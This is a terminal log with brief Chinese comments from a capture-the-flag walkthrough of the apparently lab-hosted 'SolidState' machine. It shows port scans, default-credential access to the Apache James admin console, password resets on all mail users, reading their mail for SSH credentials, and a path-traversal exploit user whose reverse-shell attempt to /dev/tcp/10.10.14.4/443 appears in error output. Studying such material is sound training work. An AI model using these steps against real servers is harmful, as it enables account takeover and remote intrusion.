┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- --min-rate=10000 -oG allports 10.10.10.51 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 09:45 CST Nmap scan report for 10.10.10.51 Host is up (0.33s latency). Not shown: 65529 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 110/tcp open pop3 119/tcp open nntp 4555/tcp open rsip
Nmap done: 1 IP address (1 host up) scanned in 9.90 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -sV -sC -p22,25,80,110,119,4555 -Pn --min-rate=10000 10.10.10.51 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 09:56 CST Nmap scan report for 10.10.10.51 Host is up (0.30s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0) | ssh-hostkey: | 2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA) | 256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA) |_ 256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519) 25/tcp open smtp JAMES smtpd 2.3.2 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.4 [10.10.14.4]) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-server-header: Apache/2.4.25 (Debian) 110/tcp open pop3 JAMES pop3d 2.3.2 119/tcp open nntp JAMES nntpd (posting ok) 4555/tcp open rsip? | fingerprint-strings: | GenericLines: | JAMES Remote Administration Tool 2.3.2 | Please enter your login and password | Login id: | Password: | Login failed for |_ Login id: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port4555-TCP:V=7.94SVN%I=7%D=1/4%Time=6596105A%P=aarch64-unknown-linux- SF:gnu%r(GenericLines,7C,"JAMES\x20Remote\x20Administration\x20Tool\x202\. SF:3\.2\nPlease\x20enter\x20your\x20login\x20and\x20password\nLogin\x20id: SF:\nPassword:\nLogin\x20failed\x20for\x20\nLogin\x20id:\n"); Service Info: Host: solidstate; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 276.67 seconds
┌──(kali㉿kali)-[~/桌面] └─$ sudo nmap -p- -sU --min-rate=10000 -oG allports1 10.10.10.51 [sudo] kali 的密码: Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-04 10:15 CST Warning: 10.10.10.51 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.10.51 Host is up (0.30s latency). All 65535 scanned ports on 10.10.10.51 are in ignored states. Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 74.58 seconds
┌──(kali㉿kali)-[~/桌面] └─$ dirsearch -u http://10.10.10.51 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(kali㉿kali)-[~/桌面] └─$ nc 10.10.10.51 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands help Currently implemented commands: help display this help listusers display existing accounts countusers display the number of existing accounts adduser [username] [password] add a new user verify [username] verify if specified user exist deluser [username] delete existing user setpassword [username] [password] sets a user's password setalias [user] [alias] locally forwards all email for 'user' to 'alias' showalias [username] shows a user's current email alias unsetalias [user] unsets an aliasfor'user' setforwarding [username] [emailaddress] forwards a user's email to another email address showforwarding [username] shows a user's current email forwarding unsetforwarding [username] removes a forward user [repositoryname] change to another user repository shutdown kills the current JVM (convenient when James is run as a daemon) quit close connection listusers Existing accounts 6 user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin setpassword thomas 123 Password for thomas reset setpassword john 123 Password for john reset set password mindy 123 Unknown commandset password mindy 123 setpassword mindy 123 Password for mindy reset setpassword mailadmin 123 Password for mailadmin reset quit Bye
┌──(kali㉿kali)-[~/桌面] └─$ ssh john@10.10.10.51 The authenticity of host '10.10.10.51 (10.10.10.51)' can't be established. ED25519 key fingerprint is SHA256:rC5LxqIPhybBFae7BXE/MWyG4ylXjaZJn6z2/1+GmJg. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.51' (ED25519) to the list of known hosts. john@10.10.10.51's password: Permission denied, please try again. john@10.10.10.51's password: Permission denied, please try again. john@10.10.10.51's password: john@10.10.10.51: Permission denied (publickey,password).
┌──(kali㉿kali)-[~/桌面] └─$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready john -ERR USER john +OK PASS 123 +OK Welcome john list +OK 1 743 1 743 . retr 1 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: john@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for <john@localhost>; Tue, 22 Aug 2017 13:16:20 -0400 (EDT) Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT) From: mailadmin@localhost Subject: New Hires access John,
Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
Thank you in advance.
Respectfully, James
. quit +OK Apache James POP3 Server signing off. Connection closed by foreign host.
┌──(kali㉿kali)-[~/桌面] └─$ nc 10.10.10.51 4555 JAMES Remote Administration Tool 2.3.2 Please enter your login and password Login id: root Password: root Welcome root. HELP for a list of commands listusers Existing accounts 6 user: james user: ../../../../../../../../etc/bash_completion.d user: thomas user: john user: mindy user: mailadmin setpassword james 123 Password for james reset setpassword mindy 123 Password for mindy reset quit Bye
┌──(kali㉿kali)-[~/桌面] └─$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. USER +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready thomas +OK PASS 123 +OK Welcome thomas list +OK 0 0 . quit +OK Apache James POP3 Server signing off. Connection closed by foreign host.
┌──(kali㉿kali)-[~/桌面] └─$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. USER +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready USER mindy +OK PASS 123 -ERR Authentication failed. USER mailadmin +OK PASS 123 +OK Welcome mailadmin list +OK 0 0 . quit +OK Apache James POP3 Server signing off. Connection closed by foreign host.
┌──(kali㉿kali)-[~/桌面] └─$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. USER james +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready +OK PASS 123 +OK Welcome james list +OK 0 0 . quit +OK Apache James POP3 Server signing off. Connection closed by foreign host.
┌──(kali㉿kali)-[~/桌面] └─$ telnet 10.10.10.51 110 Trying 10.10.10.51... Connected to 10.10.10.51. Escape character is '^]'. USER mindy +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready +OK PASS 123 +OK Welcome mindy list +OK 2 1945 1 1109 2 836 . retr 1 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798 for <mindy@localhost>; Tue, 22 Aug 2017 13:13:42 -0400 (EDT) Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT) From: mailadmin@localhost Subject: Welcome
Dear Mindy, Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
We are looking forward to you joining our team and your success at Solid State Security.
Respectfully, James . retr 2 +OK Message follows Return-Path: <mailadmin@localhost> Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: mindy@localhost Received: from 192.168.11.142 ([192.168.11.142]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581 for <mindy@localhost>; Tue, 22 Aug 2017 13:17:28 -0400 (EDT) Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT) From: mailadmin@localhost Subject: Your Access
Dear Mindy,
Here are your ssh credentials to access the system. Remember to reset your password after your first login. Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
username: mindy pass: P@55W0rd1!2@
Respectfully, James
. quit +OK Apache James POP3 Server signing off. Connection closed by foreign host.
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Aug 22 14:00:02 2017 from 192.168.11.142 -rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found -rbash: L: command not found -rbash: attributestLjava/util/HashMap: No such file or directory -rbash: L errorMessagetLjava/lang/String: No such file or directory -rbash: L lastUpdatedtLjava/util/Date: No such file or directory -rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory -rbash: $'L\004nameq~\002L': command not found -rbash: recipientstLjava/util/Collection: No such file or directory -rbash: L: command not found -rbash: $'remoteAddrq~\002L': command not found -rbash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory -rbash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found -rbash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found -rbash: @team.pl> Message-ID: <9152149.0.1704334325953.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost Received: from 10.10.14.4 ([10.10.14.4]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 391 for <../../../../../../../../etc/bash_completion.d@localhost>; Wed, 3 Jan 2024 21:11:25 -0500 (EST) Date: Wed, 3 Jan 2024 21:11:25 -0500 (EST) From: team@team.pl
: No such file or directory -rbash: connect: Connection refused -rbash: /dev/tcp/10.10.14.4/443: Connection refused -rbash: $'\r': command not found -rbash: $'\254\355\005sr\036org.apache.james.core.MailImpl\304x\r\345\274\317ݬ\003': command not found -rbash: L: command not found -rbash: attributestLjava/util/HashMap: No such file or directory -rbash: L errorMessagetLjava/lang/String: No such file or directory -rbash: L lastUpdatedtLjava/util/Date: No such file or directory -rbash: Lmessaget!Ljavax/mail/internet/MimeMessage: No such file or directory -rbash: $'L\004nameq~\002L': command not found -rbash: recipientstLjava/util/Collection: No such file or directory -rbash: L: command not found -rbash: $'remoteAddrq~\002L': command not found -rbash: remoteHostq~LsendertLorg/apache/mailet/MailAddress: No such file or directory -rbash: $'L\005stateq~\002xpsr\035org.apache.mailet.MailAddress': command not found -rbash: $'\221\222\204m\307{\244\002\003I\003posL\004hostq~\002L\004userq~\002xp': command not found -rbash: @team.pl> Message-ID: <30321308.1.1704334457034.JavaMail.root@solidstate> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Delivered-To: ../../../../../../../../etc/bash_completion.d@localhost Received: from 10.10.14.4 ([10.10.14.4]) by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 137 for <../../../../../../../../etc/bash_completion.d@localhost>; Wed, 3 Jan 2024 21:13:36 -0500 (EST) Date: Wed, 3 Jan 2024 21:13:36 -0500 (EST) From: team@team.pl
: No such file or directory -rbash: connect: Connection refused -rbash: /dev/tcp/10.10.14.4/443: Connection refused -rbash: $'\r': command not found mindy@solidstate:~$ id -rbash: id: command not found mindy@solidstate:~$
16、程序上看的还是有些缺陷啊,但是不耽误我获取第一个flag信息
1 2 3 4 5 6 7 8
mindy@solidstate:~$ pwd /home/mindy mindy@solidstate:~$ mindy@solidstate:~$ ls bin user.txt mindy@solidstate:~$ cat user.txt 4530ac8bfbfb86ba43deb1883dd0a48c mindy@solidstate:~$